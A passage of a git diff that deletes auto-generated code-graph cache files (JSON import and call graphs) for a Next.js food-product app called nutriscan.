"D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L22", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "components_filtersidebar_filtersidebar", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L22", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "d_documents_github_nutriscan_app_components_productcard_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L23", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "components_productcard_productcard", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L23", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "d_documents_github_nutriscan_app_components_productcardskeleton_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L24", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "components_productcardskeleton_productcardskeleton", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L24", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "d_documents_github_nutriscan_app_components_donatecard_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L25", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "components_donatecard_donatecard", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L25", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "d_documents_github_nutriscan_app_components_searchbar_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L26", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "components_searchbar_searchbar", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L26", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "d_documents_github_nutriscan_app_components_pagination_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L27", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "components_pagination_pagination", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L27", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "d_documents_github_nutriscan_hooks_useproductfilters_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L28", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "hooks_useproductfilters_useproductfilters", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L28", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "d_documents_github_nutriscan_hooks_usesearchcache_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L29", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "hooks_usesearchcache_usesearchcache", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L29", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "d_documents_github_nutriscan_hooks_usestoragemonitor_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L30", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "hooks_usestoragemonitor_usestoragemonitor", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L30", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "d_documents_github_nutriscan_hooks_usecacheonlymode_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L31", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "hooks_usecacheonlymode_usecacheonlymode", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L31", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "d_documents_github_nutriscan_app_components_cacheonlyswitch_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L32", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "components_cacheonlyswitch_cacheonlyswitch", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L32", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "d_documents_github_nutriscan_lib_geolocation_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L33", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "lib_geolocation_detectusercountry", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L33", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "d_documents_github_nutriscan_lib_cachemanager_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L34", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "lib_cachemanager_filterrecord", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L34", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "d_documents_github_nutriscan_lib_types_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L35", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "lib_types_productfilters", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L35", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "link", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L36", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L37", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "lib_openfoodfactsapi_product", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L37", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "lib_openfoodfactsapi_sortproducts", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L37", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "resultados_page_convertfilterstorecord", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L39", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "resultados_page_grade_colors", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L50", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "resultados_page_resultadoscontent", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L58", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "resultados_page_resultadospage", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L1068", "weight": 1.0}], "raw_calls": [{"caller_nid": "resultados_page_convertfilterstorecord", "callee": "forEach", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L41"}, {"caller_nid": "resultados_page_convertfilterstorecord", "callee": "entries", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L41"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useSearchParams", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L59"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useRouter", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L60"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "get", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L61"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "get", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L62"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L64"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L65"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L66"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L67"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L68"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L69"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L70"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L72"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L73"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L75"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L77"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L78"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L79"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useSearchCache", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L88"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useProductFilters", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L97"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useStorageMonitor", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L100"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useCacheOnlyMode", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L102"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useEffect", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L104"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useCallback", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L116"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useEffect", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L201"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useEffect", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L208"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useMemo", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L218"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useMemo", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L239"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "ceil", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L244"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useCallback", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L247"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useCallback", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L248"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "useCallback", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L257"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "toUpperCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L395"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L485"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L648"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L708"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "Array", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L708"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L714"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "Array", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L714"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L845"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L874"}, {"caller_nid": "resultados_page_resultadoscontent", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L1000"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/fec32829194692c71735477f2ba6633e0e0cda41e626f16617433fb36ff5ceca.json b/graphify-out/cache/ast/fec32829194692c71735477f2ba6633e0e0cda41e626f16617433fb36ff5ceca.json
deleted file mode 100644
index d928d8e..0000000
--- a/graphify-out/cache/ast/fec32829194692c71735477f2ba6633e0e0cda41e626f16617433fb36ff5ceca.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_listheader_tsx", "label": "ListHeader.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L1"}, {"id": "components_listheader_listheaderprops", "label": "ListHeaderProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L19"}, {"id": "components_listheader_listheader", "label": "ListHeader()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L23"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_listheader_tsx", "target": "d_documents_github_nutriscan_components_ui_button_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listheader_tsx", "target": "ui_button_button", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listheader_tsx", "target": "navigation", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listheader_tsx", "target": "d_documents_github_nutriscan_components_ui_dialog_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listheader_tsx", "target": "ui_dialog_dialog", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listheader_tsx", "target": "ui_dialog_dialogcontent", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listheader_tsx", "target": "ui_dialog_dialogdescription", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listheader_tsx", "target": "ui_dialog_dialogfooter", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listheader_tsx", "target": "ui_dialog_dialogheader", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listheader_tsx", "target": "ui_dialog_dialogtitle", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listheader_tsx", "target": "ui_dialog_dialogtrigger", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listheader_tsx", "target": "d_documents_github_nutriscan_components_ui_input_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L13", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listheader_tsx", "target": "ui_input_input", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L13", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listheader_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L14", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listheader_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L15", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listheader_tsx", "target": "d_documents_github_nutriscan_app_actions_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L16", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listheader_tsx", "target": "app_actions_verificarlista", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L16", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listheader_tsx", "target": "d_documents_github_nutriscan_components_theme_toggle_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L17", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listheader_tsx", "target": "components_theme_toggle_themetoggle", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L17", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listheader_tsx", "target": "components_listheader_listheaderprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L19", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_listheader_tsx", "target": "components_listheader_listheader", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L23", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_listheader_listheader", "callee": "useRouter", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L24"}, {"caller_nid": "components_listheader_listheader", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L25"}, {"caller_nid": "components_listheader_listheader", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L26"}, {"caller_nid": "components_listheader_listheader", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L27"}, {"caller_nid": "components_listheader_listheader", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ListHeader.tsx", "source_location": "L28"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/ff07fb26966baaf528907e05c16efa593a5210e3cb48b8960c179a850ba8cd77.json b/graphify-out/cache/ast/ff07fb26966baaf528907e05c16efa593a5210e3cb48b8960c179a850ba8cd77.json
deleted file mode 100644
index 8cca5f2..0000000
--- a/graphify-out/cache/ast/ff07fb26966baaf528907e05c16efa593a5210e3cb48b8960c179a850ba8cd77.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_donatecard_tsx", "label": "DonateCard.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DonateCard.tsx", "source_location": "L1"}, {"id": "components_donatecard_donatecardprops", "label": "DonateCardProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DonateCard.tsx", "source_location": "L6"}, {"id": "components_donatecard_donatecard", "label": "DonateCard()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DonateCard.tsx", "source_location": "L11"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_donatecard_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DonateCard.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_donatecard_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DonateCard.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_donatecard_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DonateCard.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_donatecard_tsx", "target": "components_donatecard_donatecardprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DonateCard.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_donatecard_tsx", "target": "components_donatecard_donatecard", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DonateCard.tsx", "source_location": "L11", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_donatecard_donatecard", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DonateCard.tsx", "source_location": "L16"}, {"caller_nid": "components_donatecard_donatecard", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DonateCard.tsx", "source_location": "L48"}, {"caller_nid": "components_donatecard_donatecard", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DonateCard.tsx", "source_location": "L72"}]}
\ No newline at end of file
diff --git a/graphify-out/graph.json b/graphify-out/graph.json
deleted file mode 100644
index 4502b18..0000000
--- a/graphify-out/graph.json
+++ /dev/null
@@ -1,9997 +0,0 @@
-{
- "directed": false,
- "multigraph": false,
- "graph": {},
- "nodes": [
- {
- "label": "next-env.d.ts",
- "file_type": "code",
- "source_file": "next-env.d.ts",
- "source_location": "L1",
- "id": "next_env_d_ts",
- "community": 15,
- "norm_label": "next-env.d.ts"
- },
- {
- "label": "next.config.mjs",
- "file_type": "code",
- "source_file": "next.config.mjs",
- "source_location": "L1",
- "id": "next_config_mjs",
- "community": 16,
- "norm_label": "next.config.mjs"
- },
- {
- "label": "postcss.config.mjs",
- "file_type": "code",
- "source_file": "postcss.config.mjs",
- "source_location": "L1",
- "id": "postcss_config_mjs",
- "community": 7,
- "norm_label": "postcss.config.mjs"
- },
- {
- "label": "sw.js",
- "file_type": "code",
- "source_file": "sw.js",
- "source_location": "L1",
- "id": "sw_js",
- "community": 17,
- "norm_label": "sw.js"
- },
- {
- "label": "tailwind.config.ts",
- "file_type": "code",
- "source_file": "tailwind.config.ts",
- "source_location": "L1",
- "id": "tailwind_config_ts",
- "community": 7,
- "norm_label": "tailwind.config.ts"
- },
- {
- "label": "actions.ts",
- "file_type": "code",
- "source_file": "app/actions.ts",
- "source_location": "L1",
- "id": "app_actions_ts",
- "community": 2,
